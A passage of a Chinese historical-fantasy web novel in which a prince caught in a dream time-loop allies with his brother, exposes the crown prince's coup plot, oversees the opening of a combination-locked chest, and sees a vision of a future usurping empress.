他脸色大变,刚要开口高喊,就感觉眼前一黑,彻底失去了知觉。
周昕阳将宸察院的探子一点点拖进拐角……
片刻之后,周昕阳摇身一变,成了宸察院的探子。
地面上躺着一个死去的“小太监”。
另一边的弘礼阁内,周煜城拿起那块龙须酥,将其掰开,中间镶嵌着一卷小纸条,他取出小纸条,看着上面的内容:
【废立之事,六哥若有意,一炷香后,御花园见,过时不候。】
嗯?
周煜城心头一沉,往日里疯疯癫癫的老九,居然有这个智慧?
难不成,一直以来,他的低调和疯癫,不过是在藏拙。
此想法一出,周煜城心中发寒,这个老九,藏的真深!
‘我究竟要不要去赴约呢?’
‘还是拿着这个纸条,去找父皇,参老九一本?’
‘不行!’
‘这个字,不像是老九的笔迹,哪怕有一句六哥,也不能说明什么,除非能让宸察院的人,把老九当场抓获,不然也没用。’
‘况且,哪怕抓住老九,对我来说,也没什么用。’
对于现在的周煜城,最大的问题,不是心机深沉的老九,而是接下来这个朝堂微妙局势以及弄清楚父皇
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的真正心意。
搞不清楚这些,他这个内陆藩王,就很尴尬。
他的封地距离京城太近,稍有异动,他就进退两难了。
可若是老二、老三上位,就有可能削藩。
一旦削藩,那就万事休矣、任人宰割了。
‘见!’
‘还是要见老九!’
最终,周煜城有了决断。
想到这里,周煜城开始思索,如何脱身,前往后花园。
……
皇宫大内,御花园。
周昕阳藏匿于假山之中,拿出怀表,计算着时间。
“也不知道老六能不能按时赶来?”
“想来应该是没问题的。”
“我都能有手段摆脱监视,他应该也有办法。”
“况且,他还在皇宫中有人……”
周昕阳心中思索,又想起老六的那句话:
“九弟,你的人在皇宫内的情报,连这都探查不出来吗?”
这句话,表明了两个意思。
除了露于言表的嘲讽之意外,最关键的信息就是老六在于在皇宫中也有属于自己的暗子。
这个暗子,很可能在太医院,因为老六曾提供一个重要情报,那就是昭明帝病入膏肓。
这等机密消息肯定是被严格封锁。
可老六却能提前知晓。
说明这个皇宫中的内应,地位颇高,或者身居要职。
“不是太医院的,就是宸察院的高层了。”
周昕阳眼眸微眯,对于这点,他也是刚刚才想到的。
因为只有宸察院的高层,才能掌握这个关键情报,逃过封锁,传递给老六。
“当然,一些身居要职的宫女太监也有可能,但可能性不大,因为他们肯定被宸察院的人,秘密监视,稍有不对,在这个时期,肯定是立刻处理。”
“老六啊老六,你的宫中内应究竟是谁呢?”
周昕阳看着怀表的时间,距离一炷香越来越近了。
如果周煜城不能按时到来,周昕阳就只能离开,前往东宫,完成上一轮的后续了。
毕竟,他是时间宝贵,耽搁不起。
这次的主要目的,还是破解铁箱。
他不能耽误时间,如果周煜城无法按时到来,那就说明,他在宫中的内应或许不是预想中的宸察院高层。
也或许,是自己太高看老六的能力了。
“时间到了。”
“看来是自己高看他了。”
周昕阳站起身来,准备离开。
就在这时,周昕阳听见了一个熟悉的声音。
“老九,出来吧,我到了。”
第28章 俎上之肉
“六哥,你没带人来吧?”
周昕阳走出假山,淡笑看着不远处穿着太监衣服、满头大汗、模样狼狈的周煜城。
周煜城擦拭着额头上的汗珠,冷声道:“老九,废话少说,找**嘛?”
“你纸条上的话是什么意思?”
“六哥,进来聊吧,我们这么明目张胆的谈论这件事,真的好吗?”周昕阳指了指身旁的假山洞口。
“好。”
周煜城冷哼一声,直接走进洞口。
“说吧。”
周昕阳开口:“废立之事,事关国本,若太子不犯大错,短时间内,难有决断。”
“然后呢?”周煜城皱眉,这种事情,不是早就知道吗?
这也值得他冒险出来一见?
“太子今夜会起兵造·反,国舅长孙晟配合起势,从神武门引兵入宫……”周昕阳语气淡漠,说出了一个惊天大秘密。
“什么?”
周煜城脸色骤变,瞳孔一缩,“老九,此话当真?这种事情,可不能胡言乱语!”
“自然不假。”周昕阳继续道:“六哥,我问你,如果太子被废,会发生什么?”
“太子被废、太子被废……”周煜城喃喃自语,眼眸转动,思绪疯狂转动,“那自然是九龙夺嫡,天下大乱!”
“对。”
周昕阳冷声道:“为了防止这个局面出现,父皇肯定会将老二、老三继续留下,考察他们的人品,挑选下一任太子。”
“如果老二、老三上位,会发生什么?”
“如果父皇重病,又会发生什么?”
“现在你明白我为何找你了吧?”
周煜城心头一颤,眼前老九的话,给他带来了深深的震撼。
对方的话,仿佛直戳他的内心。
将他的心思完全看透了。
是啊!
如果太子被废,父皇重病,老二、老三灵前继位,那么他们会做什么?
两个字,在他的脑海中浮现。
削藩!
削藩先削谁?
毫无疑问,肯定先从弱的开始,先从近的开始,先从最容易解决的开始……
内陆·四王,谁都逃不掉。
先是老九,就是他了。
“你是想要跟我结盟?”
“共谋大事?”
周煜城压下心头的震撼,低声问道。
“不然呢?”
“六哥,我冒着被宸察院抓住的风险,假扮太监,前来见你,你以为我是在开玩笑吗?”
“我会拿着自己的小命来开玩笑?”
周昕阳盯着对方,眼神坚定。
“我想活着。”
“我想自保!”
“你知道的,我无意那个位置,可我不想成为俎上之肉!”
“任人宰割!”
周昕阳的话,周昕阳的眼神,狠狠刺痛了周煜城。
是啊!
砧板上的肉!
身逢乱世,谁又不是俎上之肉呢?
他老九是肉,自己又何尝不是?
“你想怎么做?”
“你怎么证明你话的真伪?”
周煜城冷静下来,开口问道。
“六哥,知道我为什么给你一炷香的时间吗?”周昕阳微微一笑,并未解释什么,反而提出了一个问题。
“你是怕我找人来抓你?”周煜城皱眉回答。
“不。”
“我是在挑选盟友。”
周昕阳看着周煜城,“六哥,你也知道,我喜欢看书,尤其是读史书,以史为鉴,可以明得失,知兴替。”
“对我来说,命只有一次,所以我会无比慎重,极为小心。”
“你我都是内陆·四王之一,二哥、三哥同样也是,与你合作,是自保,可如果跟他们合作,我就是从龙之功。”
“如果你一炷香之内,不出现,我就会去找他们。”
“我手中有扳倒太子的重要情报,也有关于今夜神武门兵变的重要情报,这些东西,他们会很喜欢的。”
嘶!
听见周昕阳这么说,周煜城心里咯噔了一下,这个老九,简直是狡诈如狐!
若真如他所说,太子今夜会造·反,他拿着这个情报,去找老二、老三,绝对是大功一件。
甚至去找父皇……也是大功。
为什么要选他呢?
“按你所说,老二、老三那边明明希望更大,又何必来找我结盟?”周煜城脸色凝重。
“因为我不知道父皇更中意老二,还是老三。”周昕阳沉声道。
“我去找任何一个,就等于是站队,会被另一人所敌视,视作敌人。”
“纵观历史,夺嫡之争,都是你死我活。”
“站对了,荣华富贵,想之不尽。”
“站错了,阶下囚,囹圄一生。”
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“不到万不得已,我不会选择战队。”
周煜城微微颔首,对于周昕阳的这个解释,他还是相信一些的,“那你为何不去找父皇,将此事告诉他?”
“这不也是大功一件吗?”
周昕阳摇了摇头,“我有情报,但无确实证据,一旦去找父皇,肯定会询问,有些事情,我解释不清楚,也不方便解释。”
“为何这件事,宸察院没有调查出来,而我一个异地藩王却知道?”
“你让我怎么解释?”
周煜城点了点头:“的确。”
这怎么解释都是错……
解释,就等于告诉父皇,你一个异地藩王在皇宫中安插探子!
怎么?
你想造·反吗?
监视储君的一举一动?
“所以,我选择先找你。”周昕阳看着周煜城,“六哥,你我都是不受宠的藩王,论封地大小,不如老二老三,论兵权不如边境四王,想要活命,唯有联合起来。”
“你究竟想做什么?直接说吧!”周煜城沉声道。
“敢不敢跟我走一趟。”周昕阳图穷**见,说出了最终目的。
“去哪里?”
“找父皇?”周煜城皱眉。
“去东宫。”周昕阳道。
“去东宫?你想干嘛?”周煜城被吓了一跳,身为异地藩王,去东宫,这简直是犯天下之大不违!
绝对会被关入宗人府的!
“我说了今夜太子会造·反,国舅长孙晟会配合起势,从神武门引兵入宫……我得到消息,现在长孙晟就在东宫密谋此事。”
“抓住他。”
“就抓住了太子的把柄。”
“我们就能立下大功。”
“就看你敢不敢了!”
周昕阳盯着周煜城,等待着对方的回应。
“光一个长孙晟,也说明不了什么。”
“不够啊!”
“只要他咬死不说,我们就完了。”
“身为藩王,潜入东宫,这可是大罪!”
周煜城脸色难看,拼命摇头。
“那如果我说太子私藏龙袍、私造玉玺的话,你敢不敢跟我走一趟?”周昕阳微微眯眼。
“嗯?”
周煜城一惊,连忙问道:“此话当真?”
周昕阳盯着对方的眼睛,“真假与否?六哥为何不去问一下你在宸察院内的朋友?”
第29章 这一轮的主动权
“什……什么?”
“什么朋友?”
“我不知道你在说什么?”
周煜城眼中闪过一丝慌乱,但很快恢复正常。
周昕阳敏锐捕捉到了这丝异常,嘴角勾起:“怎么?”
“六哥这个朋友,是宸察院的高层,这么好的关系,不利用,着实可惜了。”
“不知道你在说什么。”周煜城脸色微变,有些不耐烦的训斥道:“九弟,你的癔症又严重了。”
“我怎么可能会有宸察院的朋友?”
“你在说什么胡话?”
周昕阳微微一笑,“六哥,这个消息,宸察院的掌院学士萧景琰、左提督使沈砚、右提督使厉斩秋三人都知道……是真是假,你一问便知。”
“好了。”周煜城打断了周昕阳的话,“你刚刚说,你知道东西在哪里是吧?”
“嗯。”周昕阳轻嗯一声。
“行,那我就跟你走一趟,你最好说的都是真的。”周煜城沉声道,“不然,哪怕进了宗人府,我也不会放过你的。”
“哈哈,六哥,你这威胁,倒是没什么力度。”周昕阳哈哈一笑,“放心,我不会拿自己的小命来开玩笑的。”
“走吧,跟我来。”
“抓紧时间。”
周昕阳走出了假山。
周煜城快步跟上。
接下来,周昕阳拉着周煜城,再次施展了迷之走位。
完美卡视角,躲开了太监、宫女、宸察院暗子的注视,来到了东宫门口。
一旁的周煜城,眼睛瞪得像铜铃。
他是见证者!
他是一步一步看着周昕阳如同鬼魅一般,避开各种阻拦的。
这得多了解皇宫大内才能做到啊?
对太监、宫女、侍卫、宸察院的动向,了如指掌?
这也太夸张了吧?
哪怕是宸察院的掌院学士萧景琰,也不可能做到这一点吧!
近乎于妖!
这是周煜城给周昕阳的评价。
“嗯,还好动作快一点,能赶上。”
周昕阳拿出怀表,看着上面的时间。
“赶上什么?”周煜城听着周昕阳的自言自语,露出不解的神色,开口问道。
“走,我们先进去。”
“十分钟后,会有一个宸察院的密探出现。”
“我们一起出手,拿下他。”
“接下来的计划,需要他帮忙。”
周昕阳低声吩咐。
“需要他帮忙?”周煜城皱眉,但最终还是没说什么。
……
十分钟后,一道身影,灵巧的翻过围墙,跳入了院落。
下一刻,两人身影就扑了上去。
燕惊鹊大惊,刚准备抽出腰间的软剑,就发现自己的手被对方控制住了,腰间的软剑,第一时间被抽走。
“什……什么?”
燕惊鹊想要挣扎反抗。
然而,都是徒劳。
两人配合默契,直接将他牢牢控制住。
“燕惊鹊,我们没有恶意,想跟你做笔生意。”
一个声音,在燕惊鹊的耳旁响起。
“你是什么人?”燕惊鹊发现自己嘴巴被松开了,低声问道。
“泽川王·周昕阳。”
周昕阳淡淡说道。
“嗯?”
燕惊鹊一惊,强行控制住情绪,“你怎么会知道我的名字?”
“这不重要!”
“接下来我要说的话,你认真听。”周昕阳压低声音,开始重复上一轮的说辞。
“我知道你在找龙袍、玉玺,我有三个能帮助你飞黄腾达的情报,免费送给你。”
“你认真听好……”
“第一个情报是今夜太子会醉酒在御道奔马……”
“第二情报是国舅长孙晟今夜会在神武门起兵造·反……”
“第三个情报在太子寝宫的地下密室中有存放巫蛊之术的铁箱,龙袍、玉玺或许就放在里面……”
嗯?
周煜城猛地转头,看向周昕阳。
这件事,他刚刚可没说!
巫蛊之术?
太子居然还搞巫蛊之术?
他是疯了吗?
燕惊鹊也被周昕阳的话,吓了一跳!
“王爷,你在开玩笑吗?”
“你一个异地藩王,说这种事情,让人怎么相信?”
燕惊鹊只觉得周昕阳疯了!
这么扯淡的事情,谁能相信?
什么醉酒御道奔马?
什么神武门兵变造·反?
什么巫蛊之术?
开什么玩笑?
“我知道你不信,不过没关系
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,等你听见太子跟国舅的密谋后,你就会相信我的话。”
“走吧,时间差不多了。”
周昕阳给了周煜城一个眼神,两人押着燕惊鹊,朝着后院的一处房间走去。
三人刚刚靠近……
“殿下,不能再等了。”
“再不动手,您的太子之位,恐怕就要被二皇子、三皇子夺走了。”
听见这个声音,周煜城和燕惊鹊瞬间瞪大了眼睛,然后转头看向周昕阳。
对方神色如常,仿佛早就知晓一切,没有丝毫的惊讶。
如此反应,也让两人心中升起一丝忌惮。
这个九王爷,真是神秘啊!(这个老九,到底是怎么做到的?)
接下来,两人的对话内容,完全证实了周昕阳的话。
周煜城和燕惊鹊越听越心惊。
周昕阳给燕惊鹊打了一个内部的手势动作,大意是:你可以回去禀告了。
燕惊鹊更为心惊,他没想到周昕阳居然连宸察院内部的交流手势都会?
见燕惊鹊没有反应,周昕阳皱眉,又打了一个手势(还不快去!)。
燕惊鹊点了点头,离开了后院。
片刻之后,房门被打开。
一名身穿太监服饰,满头银发,脸上尽是沟壑和褶皱的老太监走了出来。
左右张望一番后。
快步离去。
周煜城认出了此人。
国舅长孙晟。
对上了,一切都对上了。
老九没有骗人。
周煜城心脏怦怦跳,只要坐实太子造·反为真,哪怕没有巫蛊之术的事情,太子也死定了!
太子一旦被废,接下来就是老二、老三的斗法了。
周煜城思绪转动,看了一眼身旁的老九,心中突然产生了一丝其他的想法。
片刻之后,太子周炳宸走了出来,朝着寝宫走去。
周昕阳知道对方是打算进密室了。
“你可以走了。”
“接下来的事情,让宸察院的人来处理就好。”
“太子被废已成定局。”
周昕阳看向周煜城,“多问一句,如果没有今天这个事情,太子被废,老二、老三斗法,你我都返回封地的话,你会来找我结盟吗?”
“你会怎么考虑?”
第30章 老六觉得你上你也行
“嗯?”
周昕阳的突然发问,让周煜城有些迟疑。
但很快,他就给出了答案:
“会。”
“你是怎么考虑的?”周昕阳问道。
周煜城微微蹙眉,若有所思:“没什么好考虑的。”
“就如你所说的一样,你我都是不受宠的藩王,封地也都靠近京畿,老二老三无论谁上位,只要削藩,都绕不开我们。”
“为了寻求自保,找你合作,也在情理之中。”
周昕阳微微颔首,对于这个回答,他不意外,因为现实中,他就是这么做的,“接下来,我们该怎么合作?如何自保?”
“你有想法了吗?”
周昕阳说的是梦境现在。
但同样也是梦境之外的现实未来。
原因无他。
太子完了。
这些罪责,足以让他被废。
废掉之后,就是老二、老三斗法。
京城即将大变。
他们两人返回封地后,就要开始计划如何应对后续的变化……
所以,他有此一问。
虽有些早。
但却并不突兀。
周煜城看着周昕阳,嘴角勾起:“老九,我觉得我们未必会返回封地。”
“嗯?”周昕阳一愣,这什么意思?
这个老六,搞什么?
不按套路出牌?
“老九,我觉得你弄错了一件事。”周煜城对周昕阳此刻的表情很满意,笑眯眯的说道,“刚刚,你露脸了,我没有露脸,你还记得吧?”
“嗯,那又如何?”周昕阳皱眉。
“所以,宸察院的人知道,这一切都是你老九发现的。”周煜城继续说道。
“所以呢?”周昕阳神情微变。
“你老九立下这么大的功劳……就这么返回封地,不太合适吧?”周煜城露出坏笑。
“你到底是什么意思?”周昕阳有些不耐烦了。
“没什么。”
“我若是父皇,太子这么不听话,废就废了,老二老三虽然在身边,可未必就是最佳人选。”
周煜城继续开口:“反正都不是嫡长,谁上不是上?”
“老二老三可以,你老九为什么不行?”
“什么?”周昕阳一愣,他可是老九啊?
这个老六,究竟在说什么?
让自己参与夺嫡之争?
“老九,你很聪明,但想独善其身,此刻已经不行了。”周煜城神情严肃了起来,“你刚刚如果不暴露身份,或许还有机会。”
“但从你暴露身份这一刻开始。”
“你的命运,就已经不是普通的藩王了。”
“你已经入局。”
“进入了父皇选拔的视线。”
“你既然喜欢读史书,自然也知道,非太子继承,会经历些什么?”
“而我们大虞有八位藩王,八王之乱的例子,前朝就有,九龙夺嫡的未来,我们能看见,父皇又怎么可能看不见呢?”
“所以,我若是父皇,肯定是挑选出一位能够镇得住天下藩王的太子……”
周昕阳脸色阴沉:“可怎么挑选,也轮不到我啊?”
“我可是老九。”
“最小的皇子、最弱的藩王。”
“对。”周煜城点头,“于情于理于法,都轮不到你。”
“但你这个人,常常出人意料。”
“父皇或许会把你当做一个闲棋。”
“把这摊水搅浑。”
“呵呵,你一个老九,都有机会参与夺嫡,你说边境四王会怎么想?”
“你觉得是竞争太子之位好,还是起兵谋反好?”
“无疑是后者。”
“占据正统,省去得位不正的恶名,还能节制天下兵马……”
“这等权势,谁不想要?”
周临渊微微一惊,他听明白了。
周煜城的意思很简单。
既然你老九弄出这么大动作,成功在父皇面前亮了相,再想水灵灵的脱身,哪有这么容易?
如果只留下老二老三,摆明了提醒镇守边境的四大藩王,别起什么其他心思,皇位,轮不到你们。
你们老老实实的。
可如果把自己这个老九,也留在京城。
那可就完全不一样了。
老九都能有机会?
他们这些有战功、军功的藩王,凭什么不行?
一旦觉得自己也行,那局势可就完全变了。
“哈哈,想明白了?”
“行了,老九,我走了。”
“结盟之事,如果你能离开京城,我自会找你。”
“如果你被留在京城,那未来,说不准,哥哥还要叫你一声太子殿下呢!”
周煜城哈哈一笑,转身就走。
周昕阳摇了摇头,跟老六的梦境谈话,结果很失败。
嗯……不对,应该说成功了一部分。
最起码验证了一个猜想。
那就是周煜
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城的宫中内应是宸察院的高层。
至于其他。
受限于当前的形势,周昕阳没有时间去逼问,而且情况不同,未来不同,也逼问不出来。
总不可能无中生有的问,不管现在这个事情,假设我们都回封地,该怎么合作的话吧?
这个问题,他刚刚已经问了。
人家也回答了。
再问,也不会有其他结果。
前提条件,已经被定死。
……
东宫,太子寝宫,地下密室。
“来吧。”
“大哥,又到了提问时间。”
周昕阳掐着怀表,“来,我们节约时间,第一个问题……”
一炷香后,太子周炳宸披头散发,口中骂骂咧咧:“疯子,**的就是一个疯子!”
“这些问题,来来**问了好几遍。”
“我都说了,我说的都是真话!”
“我就是怕那个老道士给的东西,涉及巫蛊之术,所以才藏在这里的。”
“你听懂了吗?”
周昕阳点了点头:“嗯,都听见了吧?”
“嗯,我都听见了。”
“听得清清楚楚。”
燕惊鹊从阴影中,走了出来。
“你!”
“你是什么人?”
周炳宸看到突然出现的燕惊鹊,吓了一跳。
“参见殿下,臣乃内缉司密探,代号惊鹊。”燕惊鹊行了一礼。
完了!
周炳宸一屁股坐到地上,脸色难看到了极点。
巫蛊之术的事情,被宸察院的密探知道了?
这还了得?
他还有命活吗?
“老九!”
周炳宸猛地回头,死死盯着周昕阳,咆哮出声:“你是要毁了我吗?”
“你居然跟宸察院的人勾结……”
“呜呜呜……”
周昕阳一个闪身,拿出布团,塞住了太子无能狂怒的嘴巴,强行打断了施法。
然后,一个侧踢,将他踹倒。
“拿下!”
燕惊鹊会意,直接拿出绳索,将周炳宸绑了起来。
“老大,说一遍是新奇,说两遍就是啰嗦了,我听腻了,不要怪我呦。”
周昕阳拍了拍周炳宸的脑袋,大步走出了密室。
“呜呜呜……”周炳宸疯狂挣扎,恶狠狠的盯着周昕阳的背影,恨不得吃了他。
“走!”
燕惊鹊死死压住,推着太子,跟着走了出去。
第31章 开锁进行时
接下来的流程不变。
快进到解锁现场。
周昕阳同样没有废话。
直接上前。
连开两把锁。
震惊四座!
锁匠们交头接耳,讨论着这是哪里来的开锁大师?
面具男冷千嶂,走到周昕阳身旁,低声道:“王爷,接下来的两把锁,你也能开吗?”
由于周昕阳的动作太过娴熟,导致不光是工部的能工巧匠,就连冷千嶂都觉得周昕阳或许真能一口气全部打开。
上一次梦境,周昕阳是等冷千嶂跟锁匠们啰嗦完,才上去开锁的。
而这一次的梦境,周昕阳提前让人给他准备好工具包,完全没听对方啰嗦,直接开锁。
这个动作和技艺,把工匠们都吓了一跳。
连冷千嶂也是心头一惊,产生了错误的判断。
周昕阳斜了对方一眼,将手里的锁丢下,抬手指向公孙启,“你,过来。”
“啊?”
公孙启一愣,看了一眼冷千嶂,老老实实走了过来。
“从现在开始,你按照顺序,从后到前的顺序,记录文字顺序,拼组合。”
“哪怕运气再背,只要尝试五千零四十次,就能打开锁。”
“这个办法虽然笨,但却是最有效的方法之一。”
“至于其他人,可以上来试验其他方法,一次时间不能超过十分钟。”
“两种方法,双管齐下。”
“这样最节省时间。”
“你没意见吧?”
冷千嶂面具下的眉头已经拧成一团,这个九王爷,什么情况?
到底是哪个在掌控局势?
这件事,究竟谁在负责啊?
他一个内缉司掌案千户,怎么听嫌犯做事?
冷千嶂压低声音:“九王爷,不合适吧?”
“有什么想法就说。”周昕阳看了一眼对方,淡淡回应:
“我只是不想耽误时间。”
“你要的是立功,需要尽快打开锁,而我的目的也是开锁,如果我的举动影响了开锁,你尽可以施展你的权力,来控制我,打压我。”
“但若是我的选择是正确的,是你认为合适的。”
“你就该支持。”
“你身为宸察院的掌案千户,这个道理,你不会不懂吧?”
冷千嶂心头一惊,低声问:“九王爷,你怎么知道我是掌案千户?”
“事关国本,哪怕由掌院学士萧景琰来亲自提调,都不为过。”周昕阳淡淡道,“但萧景琰要统调全局,不可能盯着这种事。”
“而左右提督使分管不同,由他们盯梢,不太合适。”
“所以该由镇抚使来调查。”
“从专业对口上来说,这件事应该由内缉司镇抚使来盯着。”
“但我见过卫无赦,你不是他。”
“所以,你只能是内缉司的掌案千户。”
嘶!
冷千嶂心头一惊,这个九王爷,太厉害了!
心思细腻。
抽丝剥茧。
一下子就猜中了他的身份。
周昕阳看着对方,神情不变。
但其实,周昕阳刚刚说的,不过是忽悠而已。
实际上,他在某次梦境中,跟这位面具男(冷千嶂)打过交道。
所以知道他的真名。
用了答案,来倒推过程,还不是手到擒来?
“王爷,你还真是一个可怕的人。”
“希望你不会成为宸察院的敌人。”
最终,冷千嶂选择了妥协。
因为周昕阳的话是有道理的。
个人情绪不该影响任务。
这是宸察院的必修课。
“敌人?”
“呵呵。”
周昕阳呵呵一笑,并没有说些什么。
在梦境世界,跟宸察院朋友没当过几次,几乎都当敌人。
正因为是敌人。
所以,周昕阳对宸察院的内部情况,颇为熟悉。
可能比冷千嶂都要了解……
在周昕阳的安排下,开锁有条不紊的进行。
工部的能工巧匠都忙了起来。
该想办法的,去想办法。
该配合开锁的,去配合开锁。
周昕阳反而清闲了下来,走到一旁,坐了下来。
这一幕让冷千嶂有些诧异。
他相信周昕阳是想打开宝箱的。
从他的举动就可以看出来。
况且,就连陛下都相信了这位九王爷说辞,他一个做臣子的,有什么资格怀疑他呢?
不过,此刻,他的举动就有些奇怪了。
‘明明那么心急……’
‘为什么不亲自上手呢?’
‘反而休息起来了?’
‘奇怪!’
冷千嶂略微犹豫后,走到周昕阳身旁,坐了下来,看着远处忙碌的锁匠们,试探开口问道:“王爷,你不去盯着?”
“这不是有宸察院的人盯着吗?”周昕阳淡淡回答:“况且,我已经开了两把锁,给你们解决了一半的麻烦。”
“想休息一下,怎么了?”
“不行?”
“当然不是。”冷千嶂犹豫了一下,还是实话实说:“我只是好奇,既然王爷有开锁的能力,为何不参与后续开锁了?”
“反而全部交给他们来弄?”
“因为实力不够。”周昕阳说的也很直接,“专业的事情交给专业的人来弄。”
“我能直接打开前两把锁,无非是对这两种锁形比较熟悉,占了便宜。”
“如果让他们来,花费点时间,同样能打开。”
“锁的种类很多,但能够保留下来,并广泛运用至今的,都有自己
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的独到之处。”
“第一种的锁,叫做广锁,这是最容易开的锁,只要是**湖,一根铁丝就可以打开。”
“第二种叫做龟锁,模样奇特,里面的锁芯结构是多簧联动的,任何一页簧·片错了,都打不开。”
“这同样是需要开锁技术就能打开的锁……”
“但第三把锁可不一样,这可是文字轮转机关密码锁,这种锁的结构更为复杂,能采取破解的方法,只有那么几种。”
“这些方法都是需要耗时间的方法……”
“我也没有更好的方法。”
“所以,就让他们来弄吧。”
闻言,冷千嶂点了点头,这个解释,没毛病。
能说得通。
“王爷,如此知进退,何必要冒这个险呢?”冷千嶂问道。
周昕阳嘴角勾起:“为父皇分忧,怎么能说是冒险呢?”
“千户大人,要注意用词啊!”
冷千嶂顿时语塞,不敢再乱说话了。
这个九王爷还真是伶牙俐齿。
时间一分一秒的流逝,由于周昕阳的提前安排,省略了上一轮梦境中试错浪费的不少时间,尝试的数量也远远超过上一次。
现在已经尝试了五百多种组合了。
周昕阳看了一眼怀表时间。
【20:39】
还剩下半个小时。
‘如果运气背的话,四千多种组合也能打开了。’
‘如果真弄到五千零四十种,那才邪门了。’
‘上一轮梦境弄了五百多种,这一轮梦境,从另一边开始,也弄了五百多种,加起来也一千多了。’
‘这次不行,下一次,就从中间开始。’
‘七天内,肯定能打开。’
周昕阳思绪转动,暗暗想到。
不少锁匠经过尝试后,发现什么方法都无法在不伤害锁芯的情况下,打开这个文字机关锁。
“这个锁,实在是太难开了。”
“老夫活了这么多年,从来没见过如此古怪的锁,各种方法都难以奏效?”
“怎么会这样呢?”
一个老锁匠揪着胡子,一副怎么也想不通的样子。
“是啊!”
“真的难!这个锁,到底是怎么设计的?”
“一点漏洞都没有?”
“没辙啊!”
“还好……有两手准备。”
“不然可就惨了……”
众人窃窃私语,不时转头,看向坐在角落的周昕阳。
透露出钦佩的眼神。
这个神秘的锁匠,实在是太厉害了!
居然能提前猜到了这点?
这是怎么做到的?
就在所有人都在心中感叹周昕阳睿智、有先见之明的时候——
“咔嚓……”
锁开了。
第32章 女帝封禅祭天
“开了?”
周昕阳一惊,马不停蹄的冲了过去。
“让开!”
“统统给我闪开!”
周昕阳推开众人,看着上面的文字组合。
雾、坐、鸟、风、穿、花、洗。
“所以……”
“完整的诗词是……”
“宿雾凝林掩翠痕,空庭独坐对云根。”
“一声鸟破千山寂,数缕风梳万叶魂。”
“涧水泠泠穿石罅,藤花簌簌落柴门。”
“溪声到耳心先洗,雾坐鸟风穿花洗。”
周昕阳喃喃自语。
当他把最后一个字念完的刹那——
周围的一切,都停滞了。
声音逐渐消失。
色彩变得暗淡。
世界变成黑白两色。
他好似提前来到了梦境的时间终点。
“嗯?”
“不对啊!”
“分明还没到时间?”
“为何会这样?”
周昕阳大感意外,连忙拿出怀表,看向上面的时间。
【20:55】
“对,时间还没到!”
“难道说循环已经被打破了?”
“明明还有20分钟……”
“我成功了?”
周昕阳有些难以置信,这就成功了?
“不,不对。”
“为何成功了,眼前的世界没有变化?”
“时间流逝也停止了。”
“这究竟是怎么回事?”
周昕阳看着依旧卡在【20:55】的怀表,一时间,也有些迷茫了。
他费尽心思开箱,穷尽心力谋算,就这么个结果?
“若只是这样的结果,悼恭太子又是怎么改变现实的?”
“他打破梦境循环之后,又做了什么?”
“难道梦境中的资料不准确?”
“真要去一趟现实中的神御阁……”
周昕阳思绪转动,只觉得有些莫名其妙。
按照他的设想,哪怕会发生什么异象,也该是完全打开铁箱之后,而不是现在这样啊!
正想着,周昕阳手中的怀表突然有了色彩。
【20:55:01】
嗯?
周昕阳一惊。
下一刻——
绚丽的色彩涌动浮现,眼前的景象随之大变。
一幅幅画面,开始浮现。
每一幅画面,仅停留几息,就转瞬消失。
第一幅画面:
一个泥污肮脏的小女孩,从**堆里爬出来,整个院落都是尸体,血流满地,她面无表情,走到一个角落,打开机关,取走了一支样式古朴、精致华贵的凤凰金钗。
第二幅画面:
十里红妆、八抬大轿,女子身穿大红色嫁衣,盖着红盖头,坐在轿中,手中紧握着那支凤凰金钗,最终大轿送入了定南王府。
第三幅画面:
那个精致、高贵的女人,头戴凤冠,身披火红吉服,左右两肩各绣一个团龙纹,那支凤凰金钗高悬于发髻之上,站在熾璋宮前,一众宫女太监拜服跪地,她的眼神淡漠,没有丝毫的波动。
第四幅画面:
金銮殿上,皇帝与皇后坐在一起,皇帝脸色苍白,时不时咳嗽,皇后高冷威严,一手握着皇帝的手,一手拿着奏折,对着座下群臣,发号施令。
第五幅画面:
皇帝躺在床榻上,疯狂咳嗽,脸色苍白,抬起虚弱的手臂,指着皇后,眼中尽是难以置信、愤怒、痛苦之色,皇后戴着凤凰金钗,神色冷漠,拿出一道圣旨,放到了皇帝面前。
第六幅画面:
那个女人皇袍加身,凤凰金钗高悬于发髻,群臣跪伏,她一步一步走上高台,祭天封禅,昭告天地皇祉,改朝换代。
画面到这里,彻底消失。
“醒一醒!”
“王爷,你怎么了?”
周昕阳的耳旁响起了冷千嶂的声音,眼前的一切色彩,再次回归,他还在原地。
还在东宫。
还在梦境中。
还在开锁。
刚刚的一切,仿佛是一个很短暂的梦。
周昕阳猛然惊醒,看向手中的怀表。
【21:14:59】
下一刻——
刚刚恢复色彩的世界再次破碎,犹如掉下来的镜面,周昕阳的神志,逐渐变得飘忽,失去掌控能力。
无数的碎片,在落下来的那一刻,化作挥动翅膀的七彩蝴蝶,飞往遥远的未知彼岸。
……
云梦州,泽川王府。
后院,主卧房间。
夜风微凉,竹影摇晃。
月华倾泻,洒入窗台。
深夜静谧,知了作响。
床榻上,周昕阳猛然睁开双眼,直接坐了起来。
他拿起枕头边的
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怀表,看了一眼时间。
【3:15:01】
他放下怀表,脑中尽是刚刚浮现出来的画面,喃喃自语:
“小女孩。”
“灭门**。”
“唯一的遗孤。”
“凤凰金钗。”
“定南王府。”
“皇后的熾璋宮。”
“日月同天,后宫干政。”
“女帝封禅祭天……”
周昕阳思绪疯狂涌动,他爬下床,跌跌撞撞的冲到书桌旁,开始疯狂书写,记录,将刚刚的画面内容,尽数描绘出来。
“定南王……老四周炎武。”
“边境四王之一,镇守南屏州,抵御南疆国。”
“那个女人是谁?”
“她……她最终成了女帝?”
“孤身一人,从无到有,夺了我们大虞的江山?”
“嘶!”
周昕阳倒吸一口凉气,这个结果,是他无论如何都没想到的。
要知道,这算什么?
这等于说,太子没成,二皇子没成,三皇子没成,最终四皇子成了?
这就算了。
还被女人篡了位,老祖宗的江山都丢了?
“这搞什么?”
“废物!”
“简直是个废物!”
周昕阳破口大骂,将手中的墨笔,直接摔到桌子上。
周昕阳不知道梦境中浮现出来的画面,究竟是不是真实的未来……
可这不妨碍他破口大骂。
这简直是搞笑!
他还在跟老六谋算如何自保?
结果呢?
老家都被人偷了。
老四上位了,好歹,大家还是自家兄弟,都姓周,血脉相连,可这个女人篡位称帝,算什么?
从古至今,就没听说过女人当皇帝的!!
“老四居然这么废物?”
“不行!”
“无论如何都不能让老四当皇帝……”
“与其这样,不如让老二、老三来当。”
周昕阳思绪转动,**梦境突然出现这样的变化,代表着什么?
